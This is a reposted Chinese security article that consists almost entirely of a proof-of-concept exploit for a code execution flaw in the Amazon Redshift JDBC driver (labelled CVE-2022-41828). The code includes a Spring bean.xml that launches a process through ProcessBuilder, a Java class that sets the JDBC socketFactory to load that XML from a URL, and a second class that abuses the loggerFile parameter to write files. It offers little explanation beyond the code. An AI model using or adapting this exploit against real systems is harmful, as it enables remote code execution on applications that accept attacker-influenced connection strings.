← 返回列表

原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

单站 SecIN技术平台 发布 Wed, 22 Nov 2023 18:01:00 +0800 入库 2026-11-18T09:26:40

原创 Whippet 2023-11-22 18:01 北京

<!-- https://mvnrepository.com/artifact/com.amazon.redshift/redshift-jdbc42 --><dependency> <groupId>com.amazon.redshift</groupId> <artifactId>redshift-jdbc42</artifactId> <version>2.1.0.7</version>``</dependency> <!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context-support</artifactId> <version>5.3.23</version>    </dependency>

bean.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><!-- 普通方式创建类--> <bean id="exec" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value>calc.exe</value> </list> </constructor-arg> </bean>``</beans>

import java.sql.Connection;``import java.sql.DriverManager;``import java.sql.SQLException;

public class CVE202241828 { public static void main(String[] args) throws SQLException { String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext"; String socketFactoryArg = "http://127.0.0.1:8080/bean.xml"; String jdbcUrl = "jdbc:redshift://127.0.0.1:5432/test?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg; Connection connection = DriverManager.getConnection(jdbcUrl); }``}

import java.sql.Connection;``import java.sql.DriverManager;``import java.sql.SQLException;

public class CVE202241828 { public static void main(String[] args) throws SQLException { String loggerLevel = "debug"; String shellContent="test"; String loggerFile= "test\\test.txt"; String jdbcUrl = "jdbc:redshift://127.0.0.1:5432/test?loggerFile="+loggerFile+"&loggerLevel="+loggerLevel+"&"+shellContent; Connection connection = DriverManager.getConnection(jdbcUrl); }``}

往期推荐

原文链接:https://mp.weixin.qq.com/s?__biz=MzI4Mzc0MTI0Mw==&mid=2247498905&idx=2&sn=fd467fff9fc60479c23a56600b19f1fc